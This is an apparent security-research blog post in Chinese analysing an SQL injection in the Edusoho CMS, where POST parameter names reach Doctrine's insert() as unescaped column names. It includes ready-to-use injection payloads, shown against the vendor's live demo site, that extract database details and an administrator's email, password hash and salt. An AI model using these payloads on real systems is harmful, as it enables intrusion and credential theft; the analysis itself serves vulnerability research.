Edusoho一处SQL注入漏洞(demo站演示)

现代cms框架(laraval/symfony/slim)的出现,导致现今的php漏洞出现点、原理、利用方法,发生了一些变化,这个系列希望可以总结一下自己挖掘的此类cms漏洞。

今天这个漏洞是Edusoho的一个SQL注入漏洞。

首先,我简要说明一下漏洞原理。

【漏洞源码下载: https://mega.nz/#!4chVWCAB!xBVyC9QqxMCmeuLu3rGx__PwgkLe_a5NWUITLS3QzuM

Edusoho是一个设计思维先进的CMS,对于SQL语句,全站使用参数化查询来杜绝SQL注入。那么,使用了参数化查询以后,怎么继续挖掘SQL注入漏洞?

看到 src/WebBundle/CoinController.php:280

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function payAction(Request $request)
{
$formData = $request->request->all();
$user = $this->getCurrentUser();
$formData['userId']=$user['id'];

$order=$this->getCashOrdersService()->addOrder($formData);
$payRequestParams = array(
'returnUrl' => $this->generateUrl('coin_order_pay_return',array('name'=>$order['payment']),true),
'notifyUrl' => $this->generateUrl('coin_order_pay_notify',array('name'=>$order['payment']),true),
'showUrl' => $this->generateUrl('my_coin',array(),true),
);

return $this->forward('TopxiaWebBundle:Coin:submitPayRequest', array(
'order' => $order,
'requestParams' => $payRequestParams,
));
}

$formData获取的是整个POST数组,并直接传入$order=$this->getCashOrdersService()->addOrder($formData);

跟进addOrder函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function addOrder($order)
{
$coinSetting=$this->getSettingService()->get('coin',array());

if(!is_numeric($order['amount']))
{
throw $this->createServiceException('充值金额必须为整数!');

}

$coin=$coinSetting['cash_rate']*$order['amount'];
$order['sn']="O". date('YmdHis') . rand(10000, 99999);
$order['status']="created";
$order['title']="充值购买".$coin.$coinSetting['coin_name'];
$order['createdTime']=time();

return $this->getOrderDao()->addOrder($order);
}

进行了一些字段处理以后,传入$this->getOrderDao()->addOrder($order)。跟进:

1
2
3
4
5
6
7
8
public function addOrder($fields)
{
$order = $this->getConnection()->insert($this->table, $fields);
if ($order <= 0) {
throw $this->createDaoException('Insert cash_orders account error.');
}
return $this->getOrder($this->getConnection()->lastInsertId());
}

调用$this->getConnection()->insert($this->table, $fields)进行处理。

这用到的是doctrine,这个php库。

这也是现代php应用的一大特点,很多应用可以方便快捷的通过composer安装自己需要的库,这样就不再需要去自己编写底层的一些代码。

doctrine的insert方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function insert($tableExpression, array $data, array $types = array())
{
$this->connect();

if (empty($data)) {
return $this->executeUpdate('INSERT INTO ' . $tableExpression . ' ()' . ' VALUES ()');
}

return $this->executeUpdate(
'INSERT INTO ' . $tableExpression . ' (' . implode(', ', array_keys($data)) . ')' .
' VALUES (' . implode(', ', array_fill(0, count($data), '?')) . ')',
array_values($data),
is_string(key($types)) ? $this->extractTypeValues($data, $types) : $types
);
}

实际上,参数化查询真正起作用的地方,是在SQL语句的『value』位置。正如上述代码中写的,在values的位置,他用array_fill将?填充进SQL语句中,并绑定需要插入的数据。

但field位置呢?这里直接拼接的啊' (' . implode(', ', array_keys($data)) . ')'

很明显的SQL注入漏洞。

所以,只要我传入POST参数的key等于注入语句,即可成功注入。

简单在本地测试一下即可证明问题,传入a=1&b=2(这里要带上自己的_csrf_token):

查看SQL语句日志:

这里成功注入a、b。

我们开启debug模式也能看到报错(但正常环境是不开启的):

那么怎么利用?

其实也好说,这里是一个insert型注入,最简单的方式就是延时,但显然不够优雅。这里是创建订单的请求,我只需要将我想获得的数据放在订单title的位置即可在后面看到这个订单了。

demo站测试:

注意userId需要等于自己的id,sn需要是一个以前不存在的值,createTime设置成一个比当前时间戳大很多的时间即可。

POST数据:

&_csrf_token=a945c6f144f7a84562e23c1a426b44ee384cf10a&amount=10&note,sn,status,title,createdTime,userId)values(1,'sqli',100002929296,1,concat(user(),0x23,version(),0x23,database()),2451314780,15445);=1

返回包是302跳转,即跳转到订单支付的页面,页面中即为注入结果:
http://demo.edusoho.com/pay/center?sn=100002929296&targetType=coin

也可以直接注入出管理员账号密码:

POST数据包:
&_csrf_token=a945c6f144f7a84562e23c1a426b44ee384cf10a&amount=10&note,sn,status,title,createdTime,userId)values(1,'sqli',100002929298,1,(select/**/concat(email,0x23,password,0x23,salt)from`user`limit/**/0,1),2451314780,15445)%3b=1

查看:
http://demo.edusoho.com/pay/center?sn=100002929298&targetType=coin